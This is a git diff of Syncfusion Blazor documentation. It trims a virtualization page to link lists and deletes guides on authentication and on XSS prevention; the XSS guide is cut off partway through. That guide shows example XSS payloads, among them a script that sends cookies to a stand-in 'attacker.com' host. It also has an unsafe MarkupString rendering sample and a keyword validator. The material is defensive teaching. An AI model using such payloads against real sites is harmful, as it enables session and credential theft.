-        ListData.Add(new DataModel { Text = "Steven", Id = "4" });
-        ListData.Add(new DataModel { Text = "Laura", Id = "5" });
-        ListData.Add(new DataModel { Text = "Robert", Id = "6" });
-        ListData.Add(new DataModel { Text = "Michael", Id = "7" });
-        ListData.Add(new DataModel { Text = "Albert", Id = "8" });
-        ListData.Add(new DataModel { Text = "Nolan", Id = "9" });
+For complete virtualization guidance, see:
 
-        for (int i = 10; i < 1000; i++)
-        {
-            int index = new Random().Next(0, 10);
-            ListData.Add(new DataModel
-            {
-                Text = ListData[index].GetType().GetProperty("Text").GetValue(ListData[index], null).ToString(),
-                Id = i.ToString()
-            });
-        }
-    }
+* [Virtualization in Blazor ListView](https://blazor.syncfusion.com/documentation/listview/virtualization)
 
-    public class DataModel
-    {
-        public string Id { get; set; }
-        public string Text { get; set; }
-    }
-}
+## File Manager virtualization
 
-{% endhighlight %}
-{% endtabs %}
+The [Blazor File Manager](https://www.syncfusion.com/blazor-components/blazor-file-manager) supports UI virtualization to efficiently load large numbers of files and folders without affecting performance. It renders only the items visible in the viewport, enabling smooth navigation even when directories contain thousands of entries.
 
-### Scroll modes
+For complete virtualization guidance, see:
 
-ListView supports two scrolling modes when virtualization is enabled.
+* [Virtualization in Blazor File Manager](https://blazor.syncfusion.com/documentation/file-manager/virtualization)
 
-**1. Window Scroll (Default)**
-This mode is used automatically when no height is specified for the component. Scrolling is controlled by the browser window.
+## TreeView virtualization
 
-**2. Container Scroll**
-This mode is used when you set a fixed pixel height for the ListView. In this case, the component scrolls inside its own container rather than the entire page.
+The [Blazor TreeView](https://www.syncfusion.com/blazor-components/blazor-treeview) supports UI virtualization to render only the visible nodes in the hierarchy. This improves rendering speed and responsiveness when working with large trees.
 
-## File Manager virtualization
+For complete virtualization guidance, see:
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor File Manager](https://www.syncfusion.com/blazor-components/blazor-file-manager) supports UI virtualization to efficiently load large numbers of files and folders without affecting performance. It renders only the items visible in the viewport, enabling smooth navigation even when directories contain thousands of entries. Virtualization works in both Details and Large Icons views.
+* [Virtualization in Blazor TreeView](https://blazor.syncfusion.com/documentation/treeview/virtualization)
 
-The component determines which items to display based on the **height** and **width** of the viewport. As the user scrolls, the File Manager loads additional files and folders according to the available visible area.
+## Gantt Chart virtualization
 
-#### Configure File Manager virtualization
+The [Blazor Gantt Chart](https://www.syncfusion.com/blazor-components/blazor-gantt-chart) supports row, timeline, and column virtualization to handle large project schedules efficiently. This reduces DOM size and improves scrolling performance in complex timelines.
 
-To enable virtualization, set the [EnableVirtualization](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.FileManager.SfFileManager-1.html#Syncfusion_Blazor_FileManager_SfFileManager_1_EnableVirtualization) property to **true**. The example below demonstrates virtualization applied in the Details view.
+For complete virtualization guidance, see:
 
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-@using Syncfusion.Blazor.FileManager
+* [Virtualization in Blazor Gantt Chart](https://blazor.syncfusion.com/documentation/gantt-chart/virtualization)
 
-<SfFileManager TValue="FileManagerDirectoryContent"
-               View="ViewType.Details"
-               EnableVirtualization="true">
-    <FileManagerAjaxSettings Url="https://ej2-aspcore-service.azurewebsites.net/api/Virtualization/FileOperations"
-                             UploadUrl="https://ej2-aspcore-service.azurewebsites.net/api/Virtualization/Upload"
-                             DownloadUrl="https://ej2-aspcore-service.azurewebsites.net/api/Virtualization/Download"
-                             GetImageUrl="https://ej2-aspcore-service.azurewebsites.net/api/Virtualization/GetImage">
-    </FileManagerAjaxSettings>
-</SfFileManager>
-{% endhighlight %}
-{% endtabs %}
+## TreeGrid virtualization
 
-## See also
+The [Blazor TreeGrid](https://www.syncfusion.com/blazor-components/blazor-tree-grid) supports row virtualization, column virtualization, and virtual placeholder rendering for hierarchical data. This improves performance when displaying large nested datasets.
 
-For detailed explanations, and additional configuration options, refer to the following documentation pages.
+For complete virtualization guidance, see:
 
-* [Virtual Scrolling in Syncfusion Blazor DataGrid](https://blazor.syncfusion.com/documentation/datagrid/virtual-scrolling)
-* [Infinite Scrolling in Syncfusion Blazor DataGrid](https://blazor.syncfusion.com/documentation/datagrid/infinite-scrolling)
-* [Virtualization in Syncfusion Blazor ListView](https://blazor.syncfusion.com/documentation/listview/virtualization)
-* [Virtualization in Syncfusion Blazor File Manager](https://blazor.syncfusion.com/documentation/file-manager/virtualization)
+* [Virtualization in Blazor TreeGrid](https://blazor.syncfusion.com/documentation/treegrid/virtualization)
\ No newline at end of file
diff --git a/blazor/common/security/authentication-and-authorization.md b/blazor/common/security/authentication-and-authorization.md
deleted file mode 100644
index 004eb4b0da..0000000000
--- a/blazor/common/security/authentication-and-authorization.md
+++ /dev/null
@@ -1,370 +0,0 @@
----
-title: Authentication and Authorization in Syncfusion Blazor Components
-description: Learn how to secure Syncfusion Blazor components with authentication and authorization in Blazor Server and WebAssembly applications.
-platform: blazor
-component: common
-documentation: ug
----
-
-# Authentication and Authorization in Syncfusion® Blazor Components
-
-This guide shows how to secure [Syncfusion Blazor components](https://www.syncfusion.com/blazor-components) with authentication and authorization. It covers UI-level security (to control what users see and interact with) and data-level security (to protect backend data access), with examples using the [DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) and [Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler) for both, and the [TreeView](https://www.syncfusion.com/blazor-components/blazor-treeview) for UI-level only.
-
-Authentication verifies a user's identity. Authorization then determines the access levels and actions the user can perform. Syncfusion Blazor components integrate with Blazor's built-in authentication and authorization features to enable both UI-level and data-level security.
-
-## What is authentication?
-
-Authentication verifies a user's identity in your Blazor application. Blazor apps often use cookie based authentication where a signed cookie is stored in the browser and validated server-side for each request. For WebAssembly apps, use token based systems like JSON Web Tokens (JWTs). Another option is the Backend-for-Frontend (BFF) pattern, where a server manages authentication on behalf of the client. In this pattern, the BFF acts as an intermediary that handles token exchange and manages sensitive credentials server-side, preventing tokens from being exposed to browser JavaScript.
-
-Syncfusion components access user identity information through Blazor's `AuthenticationStateProvider`. This allows secure data loading or feature restriction based on the user's identity.
-
-## What is authorization?
-
-Authorization determines which Syncfusion components or features a user is allowed to access after successful authentication. Blazor supports authorization via:
-
-* **Role checks:** Verify user group membership (e.g., 'Admin').
-* **Policies:** Custom rules, such as requiring multiple roles or claims (key-value attributes in the user's identity, like 'department=Engineering').
-* **UI filtering:** Use the `<AuthorizeView>` component to show or hide content.
-
-## Key differences between authentication and authorization
-
-The following table summarizes the functional and behavioral differences between authentication and authorization in a Blazor and Syncfusion context:
-
-| Aspect | Authentication | Authorization |
-|---|---|---|
-| Purpose | Verifies user identity. | Grants or denies access to resources and features. |
-| Timing  | Happens first | Happens after authentication |
-| Blazor Tools | `AuthenticationStateProvider` | `<AuthorizeView>`, `[Authorize]` |
-| Syncfusion Integration | Access user identity via `AuthenticationStateProvider` for data loading. | UI-level: Use `<AuthorizeView>` to conditionally render components. Data-level: Add Bearer tokens to `SfDataManager.Headers` for secure API calls. |
-
-## Applying authentication and authorization to Syncfusion® components
-
-Syncfusion components can be secured at two layers:
-
-* **UI-level authorization**: Use `<AuthorizeView>` to conditionally render components based on user roles.
-* **Data-level authentication**: Use authentication tokens (Bearer tokens) in `SfDataManager` to enforce access to protected API data.
-
-For full security, combine UI-level and data-level approaches. The following examples demonstrate this with Syncfusion components.
-
-N> This `<AuthorizeView>` and `SfDataManager` pattern applies to most data bound Syncfusion components, such as DataGrid, Charts, Scheduler, and TreeView. For non data bound ones (e.g., Button), use only `<AuthorizeView>`.
-
-## Using Syncfusion® components
-
-All examples use `<AuthorizeView>` for UI-level security. DataGrid and Scheduler also include `SfDataManager` with Bearer tokens for data-level authentication. TreeView uses local data.
-
-If you already have a Blazor project, proceed to the package installation section. Otherwise, create one using Syncfusion’s Blazor getting started guides.
-
-* [WebAssembly getting started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
-* [Server getting started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio)
-
-### Prerequisites
-
-* [.NET SDK](https://dotnet.microsoft.com/en-us/download/visual-studio-sdks) 8.0 or later; Examples use .NET 10.
-* [Visual Studio](https://visualstudio.microsoft.com/downloads/) 2022 or later or [Visual Studio Code](https://code.visualstudio.com/) with [C# Dev Kit](https://marketplace.visualstudio.com/items?itemName=ms-dotnettools.csdevkit) extension.
-* [AuthorizeView](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.components.authorization.authorizeview), [AuthenticationStateProvider](https://learn.microsoft.com/en-us/aspnet/core/blazor/security/authentication-state), and token based data requests require the Blazor authentication pipeline to be configured.
-
-### Install required packages:
-
-Use NuGet Package Manager (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*) and install the following packages:
-
-**Microsoft packages:**
-
-* [Microsoft.AspNetCore.Identity.UI](https://www.nuget.org/packages/Microsoft.AspNetCore.Identity.UI/)
-* [Microsoft.AspNetCore.Authorization](https://www.nuget.org/packages/Microsoft.AspNetCore.Authorization/)
-
-**Syncfusion packages:**
-
-* [Syncfusion.Blazor.Grid](https://www.nuget.org/packages/Syncfusion.Blazor.Grid)
-* [Syncfusion.Blazor.Schedule](https://www.nuget.org/packages/Syncfusion.Blazor.Schedule)
-* [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations)
-* [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes)
-
-### Add required namespaces
-
-Open the `~/_Imports.razor` file and import the `Syncfusion.Blazor`, `Syncfusion.Blazor.Grids`, `Syncfusion.Blazor.Schedule`, `Syncfusion.Blazor.Navigations` namespaces.
-
-{% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
-
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Grids
-@using Syncfusion.Blazor.Schedule
-@using Syncfusion.Blazor.Navigations
-
-{% endhighlight %}
-{% endtabs %}
-
-### Add stylesheet and script resources
-
-Add the Syncfusion theme CSS and required scripts to the `~/App.razor` file.
-
-{% tabs %}
-{% highlight html tabtitle="App.razor"  %}
-
-<head>
-     <!-- Syncfusion theme style sheet -->
-    <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
-</head>
-<body>
-    <!-- Syncfusion Blazor component's script reference -->
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js"></script>
-</body>
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion provides multiple theme variants, allowing selection of the theme that best aligns with the application's UI design. Additional theme options and customization details are available in the [theming documentation](https://blazor.syncfusion.com/documentation/appearance/themes).
-
-### Configuring authentication and authorization
-
-**Step 1. Wrap the application's router in `App.razor`:**
-
-{% tabs %}
-{% highlight razor tabtitle="App.razor" %}
-<CascadingAuthenticationState>
-    <Router AppAssembly="@typeof(App).Assembly" />
-</CascadingAuthenticationState>
-
-{% endhighlight %}
-{% endtabs %}
-
-**Step 2. Inject the authentication provider where needed (eg., in a `.razor` file):**
-
-{% tabs %}
-{% highlight razor %}
-
-@inject AuthenticationStateProvider AuthStateProvider
-
-{% endhighlight %}
-{% endtabs %}
-
-**Step 3. Register authentication and syncfusion® services in `Program.cs`:**
-
-{% tabs %}
-{% highlight cs tabtitle="Program.cs" %}
-
-using Microsoft.AspNetCore.Identity.UI;
-using Microsoft.AspNetCore.Identity;
-using Syncfusion.Blazor;
-...
-builder.Services.AddAuthentication(IdentityConstants.ApplicationScheme)
-    .AddCookie(IdentityConstants.ApplicationScheme);
-builder.Services.AddAuthorization();
-// This class is scaffolded by the Blazor Server Identity template.
-// If using a custom provider, replace with your own AuthenticationStateProvider implementation.
-builder.Services.AddScoped<AuthenticationStateProvider, RevalidatingIdentityAuthenticationStateProvider<IdentityUser>>();
-// Add Syncfusion Blazor services
-builder.Services.AddSyncfusionBlazor();
-
-{% endhighlight %}
-{% endtabs %}
-
-### DataGrid
-
-The [DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) can be secured by using the [SfDataManager.Headers](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html#Syncfusion_Blazor_DataManager_Headers) property, which allows the grid to load data securely from protected APIs. This ensures that the UI behavior (via `<AuthorizeView>`) is aligned with the underlying data access rules.
-
-N>
-* For testing only, add a Bearer token to `appsettings.json` under the section `ExternalApi:BearerToken`. Never commit tokens to source control.
- *  For production, retrieve the token dynamically from the authenticated user's claims using `AuthenticationStateProvider` instead of static configuration.
-
-{% tabs %}
-{% highlight json tabtitle="appsettings.json" %}
-
-{
-  "ExternalApi": {
-    "BearerToken": "YOUR-TOKEN-HERE"
-  }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Grids
-@using Syncfusion.Blazor.Data
-@inject IConfiguration Configuration
-
-<h3> DataGrid</h3>
-
-<AuthorizeView>
-    <Authorized Context="authContext">
-            <SfGrid TValue="Order" AllowPaging="true">
-            <!-- Replace with your actual protected API endpoint -->
-            <SfDataManager Url="https://your-api.com/api/orders/" Adaptor="Adaptors.WebApiAdaptor" Headers="@HeaderData"></SfDataManager>
-                <GridPageSettings PageSize="10"></GridPageSettings>
-                <GridColumns>
-                    <GridColumn Field="@nameof(Order.OrderID)" HeaderText="Order ID" IsPrimaryKey="true" Width="120"></GridColumn>
-                    <GridColumn Field="@nameof(Order.CustomerID)" HeaderText="Customer Name" Width="150"></GridColumn>
-                    <GridColumn Field="@nameof(Order.OrderDate)" HeaderText="Order Date" Format="d" Type="ColumnType.Date" Width="130"></GridColumn>
-                    <GridColumn Field="@nameof(Order.Freight)" HeaderText="Freight" Format="C2" Width="120"></GridColumn>
-                </GridColumns>
-            </SfGrid>
-            <p>Hello, @authContext.User.Identity?.Name!</p>
-    </Authorized>
-    <NotAuthorized>
-        <p>Please log in to view the DataGrid.</p>
-        <a href="Identity/Account/Login">Log in</a>
-    </NotAuthorized>
-</AuthorizeView>
-
-@code {
-    private Dictionary<string, string> HeaderData { get; } = new Dictionary<string, string>();
-
-    protected override async Task OnInitializedAsync()
-    {
-        // Retrieve Bearer token from configuration (for testing only)
-        var token = Configuration["ExternalApi:BearerToken"];
-        if (!string.IsNullOrEmpty(token)) HeaderData["Authorization"] = $"Bearer {token}";
-        await base.OnInitializedAsync();
-    }
-
-    public class Order
-    {
-        public int? OrderID { get; set; }
-        public string? CustomerID { get; set; }
-        public DateTime? OrderDate { get; set; }
-        public double? Freight { get; set; }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-### Scheduler
-
-The [Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler) uses [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html) to fetch events. This ensures only authorized users get protected data from the API.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Schedule
-@using Syncfusion.Blazor.Data
-@inject IConfiguration Configuration
-
-<AuthorizeView>
-    <Authorized>
-        <SfSchedule TValue="AppointmentData" Height="550px" SelectedDate="@currentDate">
-            <ScheduleEventSettings TValue="AppointmentData">
-                <!-- Replace with your actual protected API endpoint -->
-                <SfDataManager Url="https://your-api.com/api/schedule" Headers="@HeaderData" Adaptor="Adaptors.WebApiAdaptor"></SfDataManager>
-            </ScheduleEventSettings>
-            <ScheduleViews>
-                <ScheduleView Option="View.Month"></ScheduleView>
-            </ScheduleViews>
-        </SfSchedule>
-    </Authorized>
-    <NotAuthorized>
-        <p>Authentication required to view schedule.</p>
-        <a href="Identity/Account/Login">Log in</a>
-    </NotAuthorized>
-</AuthorizeView>
-
-@code {
-    DateTime currentDate = DateTime.Today;
-    private Dictionary<string, string> HeaderData { get; } = new Dictionary<string, string>();
-
-    protected override async Task OnInitializedAsync()
-    {
-        var token = Configuration["ExternalApi:BearerToken"];
-        if (!string.IsNullOrEmpty(token)) HeaderData["Authorization"] = $"Bearer {token}";
-        await base.OnInitializedAsync();
-    }
-
-    public class AppointmentData
-    {
-        public int Id { get; set; }
-        public string? Subject { get; set; }
-        public string? Location { get; set; }
-        public string? Description { get; set; }
-        public DateTime StartTime { get; set; }
-        public DateTime EndTime { get; set; }
-        public bool? IsAllDay { get; set; }
-        public string? CategoryColor { get; set; }
-        public string? RecurrenceRule { get; set; }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-### TreeView
-
-The following [TreeView](https://www.syncfusion.com/blazor-components/blazor-treeview) example demonstrates a Blazor Server app configured with authentication, ensuring that the entire TreeView component is only accessible to authenticated users.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Navigations
-
-<AuthorizeView>
-    <Authorized Context="context">
-        <SfTreeView TValue="MailItem">
-            <TreeViewFieldsSettings TValue="MailItem" Id="Id" DataSource="@MyFolder" Text="FolderName" ParentID="ParentId" HasChildren="HasSubFolders" Expanded="Expanded">
-            </TreeViewFieldsSettings>
-        </SfTreeView>
-        <p>Welcome, @context.User.Identity?.Name!</p>
-        <form method="post" action="Identity/Account/LogOut">
-            <button type="submit">Log out</button>
-        </form>
-    </Authorized>
-    <NotAuthorized>
-        <p>Log in to access the TreeView.</p>
-        <a href="Identity/Account/Login">Log in</a>
-        <a href="Identity/Account/Register">Register</a>
-    </NotAuthorized>
-</AuthorizeView>
-
-@code {
-
-    public class MailItem
-    {
-        public string? Id { get; set; }
-        public string? ParentId { get; set; }
-        public string? FolderName { get; set; }
-        public bool Expanded { get; set; }
-        public bool HasSubFolders { get; set; }
-    }
-
-    List<MailItem> MyFolder = new List<MailItem>();
-
-   protected override void OnInitialized()
-   {
-        // Load hierarchical folder data
-        LoadFolderData();
-    }
-
-    private void LoadFolderData()
-    {
-        MyFolder.Add(new MailItem { Id = "1", FolderName = "Inbox", HasSubFolders = true, Expanded = true });
-        MyFolder.Add(new MailItem { Id = "2", ParentId = "1", FolderName = "Categories", Expanded = true, HasSubFolders = true });
-        MyFolder.Add(new MailItem { Id = "3", ParentId = "2", FolderName = "Primary" });
-        MyFolder.Add(new MailItem { Id = "4", ParentId = "2", FolderName = "Social" });
-        MyFolder.Add(new MailItem { Id = "5", ParentId = "2", FolderName = "Promotions" });
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Run the application
-
-Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application.
-
-**Expected behavior**
-* Syncfusion components should render **only for authorized users**.
-* If the user is not authenticated, the application should display **Register or Login** options instead of the Syncfusion components.
-* After a successful login, the user should be able to view the Syncfusion components such as **DataGrid, Scheduler, and TreeView** while navigating across different pages.
-
-**Output:**
-![Blazor Authentication And Authorization](./authentication-authorization.webp)
-
-## See also
-
-* [Blazor Server app with authentication](https://learn.microsoft.com/en-us/aspnet/core/blazor/security/?view=aspnetcore-10.0&tabs=visual-studio)
-* [AuthenticationStateProvider](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.components.authorization.authenticationstateprovider)
-* [Getting started with Syncfusion DataGrid](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-server-app)
-* [Getting started with Syncfusion Scheduler](https://blazor.syncfusion.com/documentation/scheduler/getting-started-with-server-app)
-* [Getting started with Syncfusion TreeView](https://blazor.syncfusion.com/documentation/treeview/getting-started-with-server-app)
-
diff --git a/blazor/common/security/authentication-authorization.webp b/blazor/common/security/authentication-authorization.webp
deleted file mode 100644
index 5122fbab7b..0000000000
Binary files a/blazor/common/security/authentication-authorization.webp and /dev/null differ
diff --git a/blazor/common/security/cross-site-scripting-prevention.md b/blazor/common/security/cross-site-scripting-prevention.md
deleted file mode 100644
index 37e08dd42f..0000000000
--- a/blazor/common/security/cross-site-scripting-prevention.md
+++ /dev/null
@@ -1,623 +0,0 @@
----
-layout: post
-title: Cross-Site Scripting (XSS) Security in Blazor Apps | Syncfusion
-description: Protect Syncfusion Blazor components from XSS using built‑in sanitization, server-side validation, and essential security best practices.
-platform: Blazor
-control: Common
-documentation: ug
----
-
-# Cross-Site Scripting (XSS) Security in Blazor Applications
-
-## Overview
-
-[Cross-Site Scripting (XSS)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS) is one of the most common security problems in web applications. This guide explains how to protect [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components](https://www.syncfusion.com/blazor-components) from XSS attacks. It covers built-in client-side sanitization, server-side validation, and safe usage guidelines for components that handle user‑generated content.
-
-## What is Cross-Site Scripting (XSS)?
-
-XSS is a vulnerability where attackers insert harmful code into your application, causing it to run in the user’s browser with the same access level as your app. This can result in:
-
-- **Session hijacking** - Stealing authentication tokens or cookies
-- **Data theft** - Accessing sensitive user information
-- **Malware distribution** - Redirecting users to malicious sites
-- **UI manipulation** - Altering what users see on the screen
-- **Credential theft** - Capturing information entered into forms, such as usernames or passwords
-
-### Types of XSS attacks
-
-1. **Stored XSS** - The attacker injects malicious code through user input (e.g., a form field) which is then stored in your database. The code executes whenever another user loads the affected page. This is the most dangerous type.
-2. **Reflected XSS** - The harmful script is delivered through a URL or form input and is immediately sent back in the response, causing it to execute in the user’s browser.
-3. **DOM-based XSS** - Client-side scripts read unsafe data and write it directly into the page.
-
-## Why XSS matters in Blazor applications?
-
-Blazor Server and Blazor WebAssembly come with different types of XSS risks.
-
-### Blazor Server
-
-- All logic runs on the server, so validation is easier, but XSS can still happen if unsafe content is displayed.
-- If an XSS attack happens, an attacker could potentially take control of the SignalR connection that Blazor depends on.
-- The user's session state and backend resources could be compromised.
-
-### Blazor WebAssembly
-
-- The application runs entirely in the user's browser. Injected scripts execute locally and can modify the user interface or hijack user sessions.
-- Client-side files and application logic are publicly available. This makes it easier for attackers to inspect or bypass client-side protections.
-- Never store secrets or other sensitive data in the browser. Protect API endpoints with server-side authentication and authorization.
-- Client-side validation and sanitization improve the user experience but are not a substitute for server-side validation and sanitization. Always validate and sanitize all client-origin data on the server.
-
-## XSS threat model and attack vectors
-
-### Common attack vectors
-
-XSS can enter an application in many different ways. The most common source is user input, such as comments, chat messages, or any data that users type into forms. Data received from APIs, uploaded files, or text copied from other websites can also contain harmful scripts. Even information already stored in the database may be unsafe if it was not validated or sanitized before being saved.
-
-### Example attack payloads
-
-{% tabs %}
-{% highlight html %}
-
-<!-- Script injection -->
-<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
-
-<!-- Event handler injection -->
-<img src="x" onerror="alert('XSS')" />
-
-<!-- SVG-based attack -->
-<svg onload="alert('XSS')"></svg>
-
-<!-- Data attribute abuse -->
-<div data-bind="innerHTML: maliciousContent"></div>
-
-<!-- JavaScript protocol -->
-<a href="javascript:void(document.cookie='stolen')">Click here</a>
-
-{% endhighlight %}
-{% endtabs %}
-
-## How to prevent XSS attacks?
-
-Protecting your application from XSS requires using several layers of defense.
-
-### 1. Output encoding
-
-Blazor automatically turns special characters in user input into safe, readable text. For example, a `<script>` tag will appear as visible text on the page instead of running as code.
-
-Use `@userInput` whenever you want to safely display text on the page. Only use `MarkupString` when the HTML has already been sanitized on the server.
-
-{% tabs %}
-{% highlight razor %}
-
-<h3>Output Encoding Example</h3>
-
-<div class="mb-3">
-    <strong>SAFE - Blazor automatically encodes:</strong>
-    <p>@userInput</p>
-</div>
-
-<div class="mb-3">
-    <strong>UNSAFE - Bypasses encoding:</strong>
-    <p>@((MarkupString)userInput)</p>
-</div>
-
-@code {
-    private string userInput = "<b>Bold</b> <script>alert('XSS')</script>";
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-### 2. Input validation
-
-Validating user input as soon as it is received helps prevent harmful content, such as `<script>` tags, from being stored or sent to other users. This acts as an early safety check and helps stop harmful data before it reaches deeper parts of your application.
-
-Follow these practices when validating input.
-
-- Always validate on the server side, not just the client side.
-- Set maximum length limits for every input field.
-- Use strong typing along with data annotation attributes.
-- Block input that clearly contains suspicious or harmful content.
-- For file uploads, verify the file type, file size, and actual file content before processing.
-
-{% tabs %}
-{% highlight c# %}
-
-using System;
-using System.ComponentModel.DataAnnotations;
-
-public class Comment
-{
-    [Required(ErrorMessage = "Comment is required.")]
-    [StringLength(5000, ErrorMessage = "Comment must be 5000 characters or fewer.")]
-    [SafeContent(ErrorMessage = "Comment contains potentially unsafe content.")]
-    public string Content { get; set; } = string.Empty;
-}
-
-public sealed class SafeContentAttribute : ValidationAttribute
-{
-    protected override ValidationResult IsValid(object value, ValidationContext context)
-    {
-        var s = (value as string)?.Trim() ?? string.Empty;
-
-        if (s.IndexOf("<script", StringComparison.OrdinalIgnoreCase) >= 0)
-            return new ValidationResult(ErrorMessage ?? "Content contains potentially unsafe script tags.");
-
-        if (s.IndexOf("onerror=", StringComparison.OrdinalIgnoreCase) >= 0 ||
-            s.IndexOf("onload=",  StringComparison.OrdinalIgnoreCase) >= 0 ||
-            s.IndexOf("javascript:", StringComparison.OrdinalIgnoreCase) >= 0)
-            return new ValidationResult(ErrorMessage ?? "Content contains potentially unsafe script tags.");
-
-        return ValidationResult.Success;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-### 3. HTML sanitization
-
-If your app allows users to enter rich HTML, such as through a rich text editor, you must sanitize it. Sanitization removes harmful or unsafe HTML while keeping safe formatting tags like `<p>`, `<b>`, and `<br>`.
-
-Only the HTML tags you explicitly allow are kept. Always sanitize content before saving it to the database and again before displaying it. This defense-in-depth approach applies to all content, including data from external sources.
-
-#### Built-in sanitization in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components
-
-The [EnableHtmlSanitizer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_EnableHtmlSanitizer) property is available in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor **[RichTextEditor](https://www.syncfusion.com/blazor-components/blazor-rich-text-editor)** and **[BlockEditor](https://www.syncfusion.com/blazor-components/blazor-block-editor)** components. It provides built-in client-side XSS protection.
-
-#### How EnableHtmlSanitizer works?
-
-When `EnableHtmlSanitizer` is enabled (it is `true` by default), the sanitizer does the following:
-
-1. Removes `<script>` tags and their content
-2. Removes event handler attributes such as `onclick`, `onerror`, and `onload`
-3. Blocks unsafe protocols such as `javascript:` and `data:`
-4. Neutralizes other potentially dangerous HTML elements
-5. Preserves safe formatting tags (`<p>`, `<b>`, `<i>`, `<ul>`, etc.)
-
-> **Important:** Client-side sanitization alone cannot keep your application fully secure. The `EnableHtmlSanitizer` feature helps with basic cleanup and improves safety, but you still need server-side sanitization to properly protect your application.
-
-#### Why client-side sanitization is not enough?
-
-1. **Bypass potential** - Attackers can disable JavaScript or modify requests before they reach the server.
-2. **No database protection** - Even if the UI blocks harmful HTML, attackers can still send malicious content that gets stored in your database.
-3. **API vulnerability** - API calls made directly to the backend skip all client-side checks.
-4. **Zero trust principle** - Client-side validation should never be trusted as a complete security measure.
-
-#### When to use EnableHtmlSanitizer?
-
-- To catch accidental HTML and improve the user experience
-- To provide an extra layer of defense on top of server-side sanitization
-- To give immediate feedback without waiting for a server round trip
-
-#### When not to use EnableHtmlSanitizer?
-
-- As the only security mechanism in your app
-- As a replacement for server-side sanitization
-
-#### BlockEditor with EnableHtmlSanitizer
-
-{% tabs %}
-{% highlight razor %}
-
-@using Syncfusion.Blazor.BlockEditor
-
-<SfBlockEditor Blocks="@BlocksData" EnableHtmlSanitizer="true"></SfBlockEditor>
-
-<button class="e-btn e-primary" @onclick="ShowContent">Show Sanitized Content</button>
-
-@if (!string.IsNullOrEmpty(SafeContent))
-{
-    <div>
-        <h5>Sanitized Output:</h5>
-        <pre>@SafeContent</pre>
-    </div>
-}
-
-@code {
-    private string SafeContent { get; set; } = string.Empty;
-
-    private List<BlockModel> BlocksData = new()
-    {
-        new BlockModel
-        {
-            BlockType = BlockType.Paragraph,
-            Content = new()
-            {
-                new ContentModel
-                {
-                    ContentType = ContentType.Text,
-                    Content = "<p>Safe content</p><script>alert('XSS');</script>"
-                }
-            }
-        }
-    };
-
-    private void ShowContent()
-    {
-        // EnableHtmlSanitizer removes <script> tags automatically
-        SafeContent = BlocksData[0].Content[0].Content;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-### Safe HTML rendering in data components
-
-Components that display user-generated or database content, such as **[DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid)** and **[ListView](https://www.syncfusion.com/blazor-components/blazor-listview)**, follow the same rule: only render HTML that has been sanitized on the server, or display plain text which Blazor encodes automatically.
-
-#### Rendering user content safely
-
-Templates allow you to customize how data is displayed by controlling the HTML structure and content presentation within components. When rendering user-generated content in templates, apply the encoding and sanitization principles covered earlier.
-
-The examples below demonstrate three approaches: unsafe direct rendering (which should always be avoided), safe rendering of pre-sanitized HTML, and secure plain text display with automatic encoding.
-
-#### UNSAFE - Direct HTML rendering
-
-The example below shows a scenario that should never be used. It renders raw HTML from the data source using `MarkupString`, which bypasses Blazor’s HTML encoding.
-
-If the content includes malicious scripts, it can lead to **XSS (Cross‑Site Scripting)** attacks.
-
-{% tabs %}
-{% highlight razor %}
-
-@using Syncfusion.Blazor.Grids
-
-<SfGrid DataSource="@Comments" AllowPaging="true">
-    <GridColumns>
-        <GridColumn Field="@nameof(Comment.Content)">
-            <Template>
-                @{
-                    var comment = (context as Comment);
-                    @((MarkupString)comment.Content) @* UNSAFE! *@
-                }
-            </Template>
-        </GridColumn>
-    </GridColumns>
-</SfGrid>
-
-@code {
-    private List<Comment> Comments = new()
-    {
-        new() { Id = 1, Content = "<script>alert('XSS!')</script>" }
-    };
-
-    public class Comment
-    {
-        public int Id { get; set; }
-        public string Content { get; set; } = string.Empty;
-    }
